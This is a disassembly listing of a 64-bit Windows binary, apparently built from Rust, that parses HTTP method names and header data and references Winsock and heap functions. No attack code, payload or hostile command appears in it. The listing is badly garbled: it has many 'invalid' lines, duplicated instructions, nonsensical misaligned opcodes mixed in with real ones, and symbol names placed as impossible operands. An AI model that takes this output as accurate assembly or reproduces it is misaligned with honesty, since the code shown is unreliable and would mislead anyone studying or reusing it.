cmp byte [rcx + 0x14], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 0x15], 0x74
jne case.0x14007f7ae.105
jns 0x14008188b
je 0x1400818ed
invalid
cmp byte [rcx + 0x16], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0x17], 0x6d
jne case.0x14007f7ae.105
push rsp
cmp byte [rcx + 0x18], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0x19], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0x1a], 0x68
jne case.0x14007f7ae.105
cmp byte [rcx + 0x1b], 0x6f
jne case.0x14007f7ae.105
sbb ebp, dword [rdi + 0x75]
cmp al, 0xb0
mov al, 0xc
invalid
mov al, 0xc
mov dl, 0x64
mov r8d, 0x1c
mov r8d, 0x1c
jmp case.0x14005f6a2.621
cmp byte [rcx + 0x16], 0x65
jne case.0x14007f7ae.105
jns 0x1400818c5
jne case.0x14007f7ae.105
cmp byte [rcx + 0x17], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0x18], 0x68
jne case.0x14007f7ae.105
jns 0x1400818d3
push 0x79801b75
sbb dword [rdi + 0x75], ebp
adc eax, 0x641a7980
cmp byte [rcx + 0x19], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0x1a], 0x64
jns 0x1400818e1
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
mov al, 7
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, 0x1b
jmp case.0x14005f6a2.621
retf 0xffd5
invalid
add cl, ch
retf 0xffd5
ret
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x68
push 0x48c7894c
mov ebx, edx
push 0x48c7894c
mov ebx, edx
mov rsi, rcx
cmp r8, 0x40
ja 0x14008190f
lea rcx, [rdi - 1]
mov eax, edi
and eax, 3
cmp rcx, 3
jae 0x140081951
xor r9d, r9d
jmp 0x1400819bb
cmp rdi, 0x10000
jae 0x140081945
xor eax, eax
lea rcx, [0x1401d563b]
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x39], cl
invalid
cmp rdi, rax
je 0x140081a48
movzx edx, byte [rbx + rax]
inc rax
cmp dl, byte [rdx + rcx]
adc al, 0xa
je 0x140081930
mov qword [rsi], 1
jmp 0x140081c31
mov rcx, rdi
and rcx, 0xfffffffffffffffc
xor r8d, r8d
lea rdx, [0x1401a93a0]
lea edx, [0x1401a93a0]
lea edx, [0x1401a93a0]
nop word cs:[rax + rax]
movzx r9d, byte [rbx + r8]
movzx r9d, byte [r9 + rdx]
mov byte [rsp + r8 + 0x28], r9b
movzx r9d, byte [rbx + r8 + 1]
add dword [rbp + 0xf], eax
mov dh, 0xc
adc dword [rsi - 0x78], eax
mov byte [rsp + rax + 0x29], cl
mov byte [rsp + rax + 0x29], cl
movzx r9d, byte [rbx + r8 + 2]
movzx r9d, byte [r9 + rdx]
mov byte [rsp + r8 + 0x2a], r9b
lea r9, [r8 + 4]
movzx r10d, byte [rbx + r8 + 3]
add eax, dword [rbx]
add eax, dword [rbx]
movzx r10d, byte [r10 + rdx]
mov byte [rsp + r8 + 0x2b], r10b
mov r8, r9
cmp rcx, r9
jne 0x140081970
test rax, rax
test eax, eax
je 0x1400819f6
lea rcx, [rsp + r9]
add rcx, 0x28
add rbx, r9
xor edx, edx
lea r8, [0x1401a93a0]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
movzx r9d, byte [rbx + rdx]
movzx r9d, byte [r9 + r8]
mov byte [rcx + rdx], r9b
inc rdx
cmp rax, rdx
jne 0x1400819e0
lea rbx, [rsp + 0x28]
mov rcx, rbx
mov rdx, rdi
call fcn.14007ee70
cmp al, 0x51
jne 0x140081a38
cmp rdi, 0xf
ja 0x140081acf
xor eax, eax
nop word cs:[rax + rax]
cmp byte [rsp + rax + 0x28], 0
je 0x140081945
inc rax
cmp rdi, rax
jne 0x140081a20
jmp 0x140081b83
mov qword [rsi + 8], 0
mov byte [rsi + 0x10], al
adc cl, r13b
loop 0x140081a47
add byte [rax], al
adc cl, r13b
loop 0x140081a47
add byte [rax], al
add byte [rdi], cl
mov dh, 5
test eax, 0x48001939
mov rcx, qword [0x140215360]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140081a74
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140081c3b
iretd
mov rcx, rax
mov ecx, eax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
invalid
invalid
add byte [rax - 0x7b], cl
test eax, eax
invalid
test eax, eax
je 0x140081c3b
mov r14, rax
mov rcx, rax
ror dword [rax - 0x77], 0xda
ror dword [rax - 0x77], 0xda
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add byte [rcx + rcx*4 - 0x10], cl
add byte [rcx + rcx*4 - 0x10], cl
or rax, 1
test r14b, 1
cmovne rax, r14
lea rcx, [0x1401a9358]
lea rdx, [0x1401a9370]
cmove rdx, rcx
mov qword [rsi + 0x10], r14
jbe case.0x14005f6a2.748
js 0x140081ac7
add byte [rax + 0xf], cl
ror dword [rcx + rcx*4 + 0x76], 1
jbe case.0x14005f6a2.748
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x18], rdi
sbb byte [rax - 0x77], cl
and byte [rax - 0x77], r9b
and byte [rax - 0x77], cl
mov qword [rsi + 0x20], rax
mov qword [rsi + 8], rdx
push rsi
invalid
mov dword [rsi + 8], edx
push rsi
or cl, ch
pop rbx
add dword [rax], eax
jmp 0x140081c2a
lea rax, [rsp + 0x2f]
and rax, 0xfffffffffffffff8
clc
sub rax, rbx
je 0x140081b0e
fdiv dword [rcx + rsi + 0x48]
cmp eax, edi
cmp rax, rdi
cmovae rax, rdi
test rax, rax
je 0x140081b0e
xor ecx, ecx
nop dword [rax + rax]
cmp byte [rsp + rcx + 0x28], 0
je 0x140081945
invalid
dec dword [rax - 1]
ror dword [rax + 0x39], 0xc8
jne case.0x140079fdb.228
lea rcx, [rdi - 0x10]
cmp rax, rcx
jbe 0x140081b14
invalid
jmp 0x140081b65
push rdi
lea rcx, [rdi - 0x10]
xor eax, eax
movabs rdx, 0xfefefefefefefeff
movabs r8, 0x8080808080808080
add byte [rax - 0x7f7f7f80], 0x80
add byte [rax - 0x7f7f7f80], 0x80
nop dword [rax + rax]
mov r9, qword [rsp + rax + 0x28]
mov r10, r9
not r10
add r9, rdx
add ecx, edx
add ecx, edx
and r9, r10
test r9, r8
jne 0x140081b65
ror dword [rbp - 0x7b], 1
sal dword [rbp + 0x1f], 0x4c
mov ecx, dword [rsp + rax + 0x30]
mov r9, qword [rsp + rax + 0x30]
mov r10, r9
not r10
add r9, rdx
and r9, r10
test r9, r8
jne 0x140081b65
add rax, 0x10
cmp rax, rcx
jbe 0x140081b30
cmp rax, rdi
je 0x140081b83
push qword [rax + rsi*2 + 0xf]
mov dh, 5
imul edi, dword [rax], 0x8b480019
or eax, 0x1937ca
test rcx, rcx
jne case.0x14007c308.179
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
invalid
test rax, rax
je 0x140081c3b
add byte [rax], al
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
invalid
sbb dword [rax], eax
invalid
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0xe6479
adc eax, 0xe6479
test rax, rax
je 0x140081c3b
invalid
ja 0x140081c0d
mov rbx, rax
mov ebx, eax
lea rdx, [rsp + 0x28]
mov rcx, rax
mov r8, rdi
mov eax, edi
mov eax, edi
call sub.VCRUNTIME140.dll_memcpy
adc byte [rax - 0x77], cl
jle 0x140081c03
mov qword [rsi + 0x20], rax
lea rax, [0x1401a9358]
jmp 0x140081c26
xorps xmm0, xmm0
movups xmmword [rsi + 0x18], xmm0
sbb byte [rax - 0x73], cl
add eax, 0x151ee7
out 0x1e, eax
adc eax, 0x4813eb00
mov dword [rsi + 0x10], ebx
jmp 0x140081c26
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rbx
lea rax, [0x1401a9370]
mov qword [rsi + 8], rax
mov qword [rsi], 0
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 1
mov rdx, rdi
cli
cli
call fcn.14015d7f0
ud2
mov eax, dword [rax + 0x18]
lea rdx, str.InvalidHeaderNameinvalid_HTTP_header_nameInvalidHeaderValuefailed_to_parse_header_valueInvalidMethodinvalid_HTTP_methodC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcmethod.rs
cmp eax, 0x41001278
mov eax, setsockopt
cmp eax, 0x41001278
mov eax, setsockopt
jmp rax
mov eax, 0x18
jmp rax
invalid
loopne 0x140081c59
int3
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x127818
mov r8d, 0x1c
jmp rax
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
cmp r8, 7
ja case.0x140081cfd.1
lea rax, [0x1402092d0]
movsxd rcx, dword [rax + rbx*4]
add byte [rax + 0x63], cl
or al, 0x98
add rcx, rax
jmp rcx
movzx eax, byte [rdi]
cmp eax, 0x47
je 0x140081fdf
cmp eax, 0x50
jne case.0x14005f6a2.1053
cmp byte [rdi + 1], 0x55
jne case.0x14005f6a2.1053
cmp byte [rdi + 2], 0x54
jne case.0x14005f6a2.1053
add dl, byte [rdi + rcx - 0x7b]
retf
mov byte [rsi], 3
jmp 0x140082252
add byte [rax], al
add byte [rax], al
cmp rbx, 0xf
jae 0x140081f56
test rbx, rbx
je 0x140082263
movzx eax, byte [rdi]
lea r8, [0x1401a9590]
lea eax, [0x1401a9590]
adc al, byte [rax]
movzx eax, byte [rax + r8]
mov dword [rsp + 0x44], eax
test al, al
je case.0x140081cfd.0
add al, 0
add byte [rax - 0x7d], cl
cmp ebx, 1
je 0x14008226b
movzx ecx, byte [rdi + 1]
movzx ecx, byte [rcx + r8]
or al, 1
test cl, cl
je case.0x140081cfd.0
cmp rbx, 1
je 0x14008226b
movzx ecx, byte [rdi + 1]
movzx ecx, byte [rcx + r8]
or al, 1
test cl, cl
je case.0x140081cfd.0
mov dword [rsp + 0x20], ecx
cmp rbx, 2
jne case.0x140079fdb.232
test dword [rdi + 5], edx
add byte [rax], al
xor edi, edi
xor r9d, r9d
xor r10d, r10d
xor ecx, ecx
xor ebp, ebp
xor r14d, r14d
mov dword [rsp + 0x30], 0
xor r12d, r12d
xor r13d, r13d
xor edx, edx
xor eax, eax
xor r8d, r8d
mov r11d, dword [rsp + 0x20]
jmp 0x140082292
movzx eax, byte [rdi]
cmp eax, 0x48
je 0x14008204c
cmp eax, 0x50
jne 0x140082066
cmp byte [rdi + 1], 0x4f
jne 0x140082066
cmp byte [rdi + 2], 0x53
jne 0x140082066
cmp byte [rdi + 3], 0x54
jne 0x140082066
mov byte [rsi], 2
jmp 0x140082252
movzx eax, byte [rdi]
cmp eax, 0x50
je case.0x140079275.362
cmp eax, 0x54
jne 0x1400820f6
cmp byte [rdi + 1], 0x52
jne 0x1400820f6
cmp byte [rdi + 2], 0x41
jne 0x1400820f6
cmp byte [rdi + 3], 0x43
jne 0x1400820f6
cmp byte [rdi + 4], 0x45
jne 0x1400820f6
mov byte [rsi], 6
jmp 0x140082252
movzx eax, byte [rdi]
cmp rax, 0x44
jne 0x140081ebd
cmp byte [rdi + 1], 0x45
jne 0x140081ebd
cmp byte [rdi + 2], 0x4c
jne 0x140081ebd
cmp byte [rdi + 3], 0x45
jne 0x140081ebd
cmp byte [rdi + 4], 0x54
jne 0x140081ebd
cmp byte [rdi + 5], 0x45
jne 0x140081ebd
mov byte [rsi], 4
jmp 0x140082252
movzx eax, byte [rdi]
cmp eax, 0x43
je 0x14008217c
or al, 3
add byte [rax], al
cmp eax, 0x4f
jne 0x1400821a8
cmp byte [rdi + 1], 0x50
jne 0x1400821a8
cmp byte [rdi + 2], 0x54
jne 0x1400821a8
cmp byte [rdi + 3], 0x49
jne 0x1400821a8
cmp byte [rdi + 4], 0x4f
jne 0x1400821a8
invalid
add byte [rax + 0xf4e057f], al
test ebp, edi
add al, byte [rax]
add byte [rax], al
cmp byte [rdi + 6], 0x53
invalid
test ebx, esi
cmp byte [rdi + 5], 0x4e
jne 0x1400821a8
add byte [rax], al
add byte [rax], al
cmp byte [rdi + 6], 0x53
jne 0x1400821a8
add al, byte [rax]
invalid
add al, byte [rax]
add dh, al
invalid
mov byte [rsi], 0
jmp 0x140082252
add byte [rax], al
add byte [rax], al
lea rcx, [0x1401a9590]
movzx eax, byte [rax + rcx]
test byte [rdi + 3], ch
add byte [rax], al
movzx r8d, byte [rdi + 2]
movzx r8d, byte [r8 + rcx]
mov dh, 4
or byte [rbp - 0x7c], al
ror byte [rdi], 0x84
pop rsp
add eax, dword [rax]
invalid
movzx r9d, byte [rdi + 3]
movzx r9d, byte [r9 + rcx]
or dword [rbp - 0x7c], eax
leave
add eax, dword [rbp + 0xf]
mov dh, 0xc
je case.0x140081cfd.0
movzx r10d, byte [rdi + 4]
movzx r10d, byte [r10 + rcx]
push rdi
add al, 0x45
movzx edx, byte [rdx + rcx]
test r10b, r10b
je case.0x140081cfd.0
add eax, dword [rax]
invalid
movzx r11d, byte [rdi + 5]
movzx ecx, byte [r11 + rcx]
and al, 3
add byte [rax], al
mov byte [rsi], 9
mov byte [rsi + 1], al
add dword [rax - 0x77bbfdaa], ecx
add r8d, dword [rax + r9*4 + 0x4e]
add al, 0x44
mov byte [rsi + 5], dl
mov byte [rsi + 6], cl
mov qword [rsi + 7], 0
add byte [rsi - 0x39], ah
sldt word [rsi]
jmp 0x140082252
test rbx, rbx
test ebx, ebx
js 0x14008256d
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140081f84
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8, rbx
fdivr st(7)
adc eax, 0xe60a6
test rax, rax
je case.0x140071cca.338
invalid
add byte [rax], al
test bl, al
xor ecx, ecx
lea rdx, [0x1401a9590]
adc eax, 0x1275ec
nop word cs:[rax + rax]
movzx r8d, byte [rdi + rcx]
movzx r8d, byte [r8 + rdx]
test r8b, r8b
test al, al
cmovne ecx, dword [rdi]
mov dh, 4
adc byte [rbp - 0x7c], al
test al, al
invalid
invalid
test al, al
je case.0x140065142.1093
add byte [rax], al
mov byte [rax + rcx], r8b
inc rcx
cmp rbx, rcx
retf
jne 0x140081fb0
invalid
loope 0x140081f96
mov byte [rsi], 0xa
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rbx
adc cl, ch
jae 0x140081fdf
add byte [rax], al
invalid
jae 0x140081fdf
add byte [rax], al
cmp byte [rdi + 1], 0x45
jne case.0x14005f6a2.1053
cmp byte [rdi + 2], 0x54
push rsp
jne case.0x14005f6a2.1053
mov byte [rsi], 1
jmp 0x140082252
or eax, 0x127596
movzx eax, byte [rax + rcx]
test al, al
add al, byte [r8]
add byte [rdi], cl
mov dh, 0x57
add dword [rdi], ecx
mov dh, setsockopt
ror byte [rdi], cl
test byte [rcx], bh
add al, byte [rax]
add byte [rdi + rcx - 0x4a], al
add r8b, byte [r9 + 0xf]
add al, byte [rcx + 0xf]
movzx ecx, byte [rax + rcx]
mov dh, 0xc
or byte [rcx + rcx*8 + 0x227840f], al
add byte [rax], al
invalid
test cl, cl
je case.0x140081cfd.0
invalid
mov byte [rsi], 9
mov byte [rsi + 1], al
mov byte [rsi + 2], dl
mov byte [rsi + 3], cl
invalid
add al, 0
add byte [rax], al
add bh, al
or al, 0
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0x10], 3
mov byte [rsi + 0x10], 3
jmp 0x140082252
cmp byte [rdi + 1], 0x45
add dword [rbp + 0x75], eax
adc al, 0x80
jg case.0x14006cab3.384
jne 0x140082066
cmp byte [rdi + 2], 0x41
jne 0x140082066
invalid
jne 0x140082066
invalid
cmp byte [rdi + 3], 0x44
jne 0x140082066
invalid
or dh, al
invalid
mov byte [rsi], 5
jmp 0x140082252
lea rcx, [0x1401a9590]
jne 0x14008207e
add byte [rdi], cl
mov dh, 4
or byte [rax + rax*8 + 0x1d6840f], al
ror byte [rdi], 0x84
invalid
invalid
movzx eax, byte [rax + rcx]
test al, al
invalid
je case.0x140081cfd.0
add byte [rax], al
movzx edx, byte [rdi + 1]
movzx edx, byte [rdx + rcx]
test dl, dl
ror byte [rdi], cl
test dh, al
add dword [rax], eax
invalid
add dword [rdi], ecx
mov dh, setsockopt
or al, byte [rdx + rdx*8 + 0x1c6840f]
ror byte [rdi], cl
test dh, al
add dword [rax], eax
invalid
test dh, al
add dword [rax], eax
mov byte [rcx], 0
add byte [rdi + rcx - 0x4a], al
add r8b, byte [r13 + 0xf]
movzx r8d, byte [r8 + rcx]
test r8b, r8b
je case.0x140081cfd.0
invalid
mov bl, 1
add byte [rax], al
movzx r8d, byte [rdi + 2]
movzx r8d, byte [r8 + rcx]
add al, 8
test r8b, r8b
je case.0x140081cfd.0
invalid
mov bl, 1
add byte [rax], al
test byte [rbx + 0x44000001], dh
movzx ecx, byte [rdi + 3]
mov dh, 0x4f
invalid
mov dh, 0x4f
add eax, dword [rcx + 0xf]
add r8, qword [r9 + 0xf]
movzx ecx, byte [r9 + rcx]
test cl, cl
mov dh, 0xc
or dword [rcx + rcx*8 + 0x1a1840f], eax
je case.0x140081cfd.0
je case.0x140081cfd.0
add dword [rax], eax
add dh, al
mov byte [rsi], 9
invalid
mov byte [rsi + 1], al
mov byte [rsi + 2], dl
add al, byte [rax + rcx*4 + 0x46]
invalid
mov byte [rsi + 3], al
add ecx, dword [rax - 0x38b7fbb2]
add eax, 0
add byte [rax], al
invalid
mov byte [rsi + 4], cl
mov qword [rsi + 5], 0
add byte [rax], al
invalid
add byte [rax], al
add bh, al
or al, 0
add byte [rax], al
add dh, al
mov byte [rsi + 0x10], 4
invalid
mov dword [rsi + 0xc], 0
mov byte [rsi + 0x10], 4
jmp 0x140082252
jl 0x1400820d5
add byte [rax], al
jl 0x1400820d5
add byte [rax], al
add byte [rax + 0x7541017f], al
sbb al, byte [rax + 0x7554027f]
jg 0x1400820e1
push rsp
invalid
cmp byte [rdi + 1], 0x41
jne 0x1400820f6
cmp byte [rdi + 2], 0x54
push rsp
jne 0x1400820f6
adc al, 0x80
jg 0x1400820e8
cmp byte [rdi + 3], 0x43
jne 0x1400820f6
jne 0x1400820f6
cmp byte [rdi + 4], 0x48
jne 0x1400820f6
mov byte [rsi], 8
jmp 0x140082252
lea rcx, [0x1401a9590]
xchg ebx, eax
je 0x14008210e
add byte [rdi], cl
mov dh, 4
or byte [rax + rax*8 + 0x146840f], al
ror byte [rdi], 0x84
invalid
invalid
movzx eax, byte [rax + rcx]
test al, al
ror byte [rdi], 0x84
add dword [rax], r8d
add dword [rax], eax
invalid
ror byte [rdi], 0x84
add dword [rax], r8d
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x57
add dword [rdi], ecx
movzx edx, byte [rdi + 1]
movzx edx, byte [rdx + rcx]
mov dh, setsockopt
or al, byte [rdx + rdx*8 + 0x136840f]
test dl, dl
je case.0x140081cfd.0
je case.0x140081cfd.0
movzx r8d, byte [rdi + 2]
mov dh, 4
or byte [rbp - 0x7c], al
ror byte [rdi], 0x84
and eax, dword [rcx]
add byte [rax], al
invalid
movzx r9d, byte [rdi + 3]
movzx ecx, byte [rdi + 3]
add r8, qword [r13 + 0xf]
mov dh, 0xc
or dword [rbp - 0x7c], eax
invalid
movzx r9d, byte [r9 + rcx]
test r9b, r9b
test cl, cl
leave
je case.0x140081cfd.0
test byte [rax], dl
add dword [rax], eax
add byte [rdi + rcx - 0x4a], al
mov dh, 0x57
movzx r10d, byte [rdi + 4]
mov dh, 0x57
add al, 0x41
movzx ecx, byte [rdx + rcx]
or al, 0xa
or al, 0xa
test cl, cl
leave
je case.0x140081cfd.0
test dh, bh
add byte [rax], al
add dh, al
invalid
or dword [rax + 0x56880146], ecx
add al, byte [rax + rcx*4 + 0x46]
mov byte [rsi + 1], al
add dword [rax - 0x77bbfdaa], r9d
add r8d, dword [rax + r9*4 + 0x4e]
add eax, dword [rax + rcx*4 + 0x4e]
mov byte [rsi + 2], dl
mov byte [rsi + 3], r8b
invalid
add eax, dword [rax + rcx*4 + 0x4e]
add al, 0x88
add rax, 0x646c748
invalid
add byte [rax], al
mov dword [rsi + 0xe], 0x46c60000
adc byte [reloc.WS2_32.dll_getsockname], al
add eax, 0xd6e9
add eax, 0xd6e9
add byte [rax + 0x754f017f], al
cmp byte es:[rdi + 2], 0x4e
invalid
invalid
cmp byte [rdi + 1], 0x4f
jne 0x1400821a8
cmp byte [rdi + 2], 0x4e
jne 0x1400821a8
cmp byte [rdi + 3], 0x4e
jne 0x1400821a8
add ecx, dword [rsi + 0x75]
sbb al, byte [rax + 0x7545047f]
adc al, 0x80
cmp byte [rdi + 4], 0x45
jg 0x14008219c
jne 0x1400821a8
cmp byte [rdi + 6], 0x54
invalid
jne 0x1400821a8
mov byte [rsi], 7
invalid
jmp 0x140082252
lea rcx, [0x1401a9590]
movzx eax, byte [rax + rcx]
test al, al
je case.0x140081cfd.0
add byte [rax], al
invalid
movzx edx, byte [rdi + 1]
movzx edx, byte [rdx + rcx]
test dl, dl
mov dh, 0x57
add dword [rdi], ecx
mov dh, setsockopt
or al, byte [rdx + rdx*8 + 0x84840f]
invalid
invalid
test byte [rax], al
je case.0x140081cfd.0
add byte [rax], al
movzx r8d, byte [rdi + 2]
movzx r8d, byte [r8 + rcx]
mov dh, 4
or byte [rbp - 0x7c], al
test al, al
test al, al
je case.0x140081cfd.0
movzx r9d, byte [rdi + 3]
movzx r9d, byte [r9 + rcx]
test r9b, r9b
or dword [rbp - 0x7c], eax
leave
je case.0x140081cfd.0
movzx r10d, byte [rdi + 4]
movzx r10d, byte [r10 + rcx]
mov dh, setsockopt
invalid
mov dh, setsockopt
or al, byte [rbp - 0x7c]
sal byte [rdi + rdx*2 + 0x44], cl
test r10b, r10b
je case.0x140081cfd.0
movzx r11d, byte [rdi + 5]
movzx ebx, byte [rdi + 5]
movzx r11d, byte [r11 + rcx]
test r11b, r11b
je case.0x140081cfd.0
invalid
movzx edi, byte [rdi + 6]
invalid
movzx ecx, byte [rdi + rcx]
test cl, cl
je case.0x140081cfd.0
mov byte [rsi], 9
mov byte [rsi + 1], al
add dword [rax - 0x77bbfdaa], r9d
invalid
invalid
add dword [rax - 0x77bbfdaa], r9d
add r8d, dword [rax + r9*4 + 0x4e]
invalid
invalid
invalid
mov byte [rsi + 4], r9b
mov byte [rsi + 5], r10b
add al, 0x44
mov byte [rsi + 5], dl
mov byte [rsi + 6], r11b
mov byte [rsi + 7], cl
invalid
invalid
mov qword [rsi + 8], 0
mov dword [rsi + 8], 0
mov dword [rsi + 8], 0
mov byte [rsi + 0x10], 7
jmp 0x140082252
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rax
mov eax, eax
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0xe5dd9
mov byte [rsi], 0xb
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
mov dword [rsp + 0x44], 0
and al, 0x44
add byte [rax], al
add byte [rax], al
xor r11d, r11d
xor edi, edi
xor r9d, r9d
xor ecx, ecx
xor ecx, ecx
xor r10d, r10d
xor ecx, ecx
xor ebp, ebp
xor r14d, r14d
xor esi, esi
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
xor r12d, r12d
xor r13d, r13d
xor edx, edx
xor eax, eax
xor r8d, r8d
mov byte [rsi], 9
mov r15d, dword [rsp + 0x44]
and al, 0x44
mov byte [rsi + 1], r15b
mov byte [rsi + 2], r11b
mov byte [rsi + 3], dil
mov byte [rsi + 4], r9b
mov byte [rsi + 5], r10b
push rsi
invalid
add eax, dword [rax + rcx*4 + 0x4e]
add al, 0x44
mov byte [rsi + 5], dl
push rsi
invalid
push rsi
add eax, 0x40064e88
invalid
invalid
invalid
mov byte [rsi + 6], cl
mov byte [rsi + 7], bpl
mov byte [rsi + 7], ch
mov byte [rsi + 7], ch
mov byte [rsi + 8], r14b
mov ecx, dword [rsp + 0x30]
mov byte [rsi + 9], cl
or qword [rax + r9*4 + 0x66], r8
or al, byte [rax + rcx*4 + 0x6e]
or ecx, dword [rax + 0x46880c56]
or eax, 0xe468844
or qword [rax + r9*4 + 0x66], r8
or al, byte [rax + rcx*4 + 0x6e]
outsb dx, byte [rsi]
or ecx, dword [rax + 0x46880c56]
or eax, 0xe468844
or eax, 0xe468844
mov byte [rsi + 0xf], 0
add byte [rax + 0x74e9105e], cl
invalid
mov byte [rsi + 0x10], bl
jmp 0x140082252
movzx edx, byte [rdi + 2]
movzx edx, byte [rdx + r8]
movzx edx, byte [rdx + rax]
mov dh, 0x57
add al, byte [rdx + 0xf]
movzx edx, byte [rdx + rax]
test dl, dl
invalid
test byte [rax - 1], ah
test dl, dl
je case.0x140081cfd.0
ror byte [rdi], cl
test byte [rax - 1], ah
invalid
mov dword [rsp + 0x24], edx
and al, 0x24
cmp rbx, 3
jne 0x140082329
xor r9d, r9d
xor ecx, ecx
xor r10d, r10d
xor ecx, ecx
xor ebp, ebp
xor r14d, r14d
mov dword [rsp + 0x30], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor r12d, r12d
xor esp, esp
xor r13d, r13d
xor edx, edx
xor eax, eax
invalid
xor r8d, r8d
mov edi, dword [rsp + 0x24]
mov r11d, dword [rsp + 0x20]
pop rsp
and al, 0x20
pop rsp
and al, 0x20
jmp 0x140082292
invalid
movzx edx, byte [rdi + 3]
movzx edx, byte [rdx + r8]
add al, byte [rdx + rdx*8 - 0xea7bf1]
invalid
invalid
mov dh, 0x57
add eax, dword [rdx + 0xf]
mov dh, setsockopt
add al, byte [rdx + rdx*8 - 0xea7bf1]
invalid
ror byte [rdi], cl
test byte [0xca08233a], dl
push rsp
and al, 0x28
mov dword [rsp + 0x28], edx
cmp rbx, 4
jne 0x140082376
xor r10d, r10d
xor ecx, ecx
xor ebp, ebp
xor r14d, r14d
mov dword [rsp + 0x30], 0
xor r12d, r12d
xor r13d, r13d
xor edx, edx
xor eax, eax
xor r8d, r8d
mov edi, dword [rsp + 0x24]
and al, 0x24
mov r9d, dword [rsp + 0x28]
mov r11d, dword [rsp + 0x20]
jmp 0x140082292
sbb al, 0xff
invalid
invalid
movzx edx, byte [rdi + 4]
movzx edx, byte [rdx + r8]
test dl, dl
je case.0x140081cfd.0
mov dword [rsp + 0x2c], edx
cmp rbx, 5
cmp ebx, 5
jne 0x1400823c5
xor al, 0x31
leave
xor ecx, ecx
xor ebp, ebp
xor r14d, r14d
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
and al, 0x30
add byte [rax], al
add byte [rax], al
xor r12d, r12d
in al, 0x45
xor ebp, ebp
xor r13d, r13d
xor edx, edx
xor eax, eax
xor r8d, r8d
xor eax, eax
xor eax, eax
ror byte [rbx + 0x4424247c], 0x8b
mov edi, dword [rsp + 0x24]
mov r9d, dword [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rbx + rcx*4 + 0x54], al
and al, 0x2c
mov r10d, dword [rsp + 0x2c]
mov r11d, dword [rsp + 0x20]
and al, 0x20
jmp 0x140082292
movzx edx, byte [rdi + 5]
movzx ecx, byte [rdx + r8]
or al, 2
push rdi
add eax, 0xcb60f42
or al, 2
test cl, cl
invalid
test byte [rcx - 2], bh
invalid
test cl, cl
je case.0x140081cfd.0
add byte [rax], al
add byte [rbp + 0x31], al
in al, 0x45
xor ebp, ebp
xor edx, edx
xor eax, eax
xor r8d, r8d
mov edi, dword [rsp + 0x24]
mov r9d, dword [rsp + 0x28]
and al, 0x28
mov r10d, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x34]
mov r11d, dword [rsp + 0x20]
mov ebx, dword [rsp + 0x20]
jmp 0x140082292
add byte [rax], al
add byte [rax], al
jmp 0x1400824a9
add al, 2
test al, al
je case.0x140081cfd.0
mov dword [rsp + 0x30], eax
xor byte [rax - 0x7d], cl
sti
or dword [rbp + 0x32], esi
cmp rbx, 9
jne case.0x140135a1f.472
xor r12d, r12d
xor r13d, r13d
xor ebp, ebp
xor edx, edx
xor eax, eax
xor r8d, r8d
xor eax, eax
xor eax, eax
mov edi, dword [rsp + 0x24]
mov r9d, dword [rsp + 0x28]
and al, 0x28
mov r10d, dword [rsp + 0x2c]
push rsp
and al, 0x2c
mov ecx, dword [rsp + 0x34]
mov r11d, dword [rsp + 0x20]
mov ebx, dword [rsp + 0x20]
mov ebx, dword [rsp + 0x20]
mov ebp, dword [rsp + 0x38]
insb byte [rdi], dx
and al, 0x38
invalid
cmp byte [rbx + rcx*4 + 0x74], al
mov r14d, dword [rsp + 0x3c]
and al, 0x3c
jmp 0x140082292
movzx edx, byte [rdi + 9]
movzx r15d, byte [rdx + r8]
mov dh, 0x3c
add al, byte [rbp - 0x7c]
dec dword [rdi]
test byte [rdx - 3], ah
invalid
invalid
push rdi
or dword [rsi + 0xf], eax
mov dh, 0x3c
add al, byte [rbp - 0x7c]
dec dword [rdi]
test byte [rdx - 3], ah
std
invalid
cmp rbx, 0xa
or dh, byte [rbp + 5]
jne 0x1400824f8
xor r13d, r13d
in eax, dx
jmp 0x140082510
sbb byte [rdi], cl
mov dh, 0x57
